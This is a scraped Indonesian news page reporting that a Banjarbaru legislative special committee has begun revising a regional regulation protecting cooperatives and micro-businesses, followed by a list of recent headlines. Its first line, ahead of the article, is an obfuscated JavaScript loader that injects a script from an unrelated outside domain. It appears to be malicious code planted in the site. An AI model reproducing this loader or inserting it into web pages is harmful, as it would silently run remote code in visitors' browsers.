(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Pansus V Bahas Revisi Perda Perlindungan Koperasi dan Usaha Mikro


KANALKALIMANTAN.COM, BANJARBARU – Panitia Khusus (Pansus) V DPRD Banjarbaru Provinsi mulai membahas rancangan peraturan daerah penyelenggaraan kemudahan perlindungan dan pemberdayaan koperasi dan usaha mikro.

“Rapat Pansus V pertama mengundang Dinas Koperasi UMKM dan Tenaga Kerja Banjarbaru dan Bagian Hukum Setdako Banjarbaru,” ujar Liana, Ketua Pansus V DPRD Banjarbaru, Senin (10/7/2023).

Menurut politisi perempuan Partai Golkar itu, mengingat rapat perdana sehingga belum masuk substansi tetapi masih meminta penjelasan terkait pembinaan dan perlindungan terhadap koperasi dan usaha mikro.

Liana menuturkan, anggota Pansus meminta penjelasan atas dasar hukum karena Raperda yang dibahas adalah revisi Perda terdahulu yang disempurnakan guna melindungi koperasi dan usaha mikro.

Baca juga: Tingkatkan Transaksi QRIS, BI Kalsel Gelar Pesta Rakyat Banua

“Kami minta penjelasan dasar hukum yang sebelumnya dan mengapa direvisi agar pembahasan ke depan dapat lebih mendalam,” ucapnya.

Liana menambahkan, sesuai tujuan revisi Perda, perlindungan terhadap koperasi dan usaha mikro dapat diwujudkan melalui Perda baru yang lebih sempurna terutama dalam melindungi usaha masyarakat.

Selama ini cukup banyak usaha mikro yang terkendala modal untuk pengembangan usaha disamping ada juga yang produksi sudah bagus tetapi mengalami kendala pemasaran.

“Hambatan dan kendala yang dirasakan pelaku usaha itu berupaya dicarikan solusinya disamping juga dibuatkan payung hukum berupa Perda, sehingga masyarakat dan pelaku usaha lebih nyaman,” ujarnya.

Baca juga: Empat Titik Karhutla di Kabupaten Banjar, Heli Water Boombing Diturunkan ke Gunung Pamaton

Pembinaan maupun pengembangan koperasi dan usaha mikro diperhatikan sehingga mereka tidak terjerat pinjaman yang dikenal cepat dan mudah.

“Kita semua tidak ingin koperasi dan pelaku usaha mikro terjerat pinjaman online sehingga melalui Perda nanti, mereka terlindungi dan usahanya bisa terus tumbuh dan berkembang,” kata Liana. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : kk


Risa

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

11 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

13 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

13 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

14 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

15 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

17 jam ago

This website uses cookies.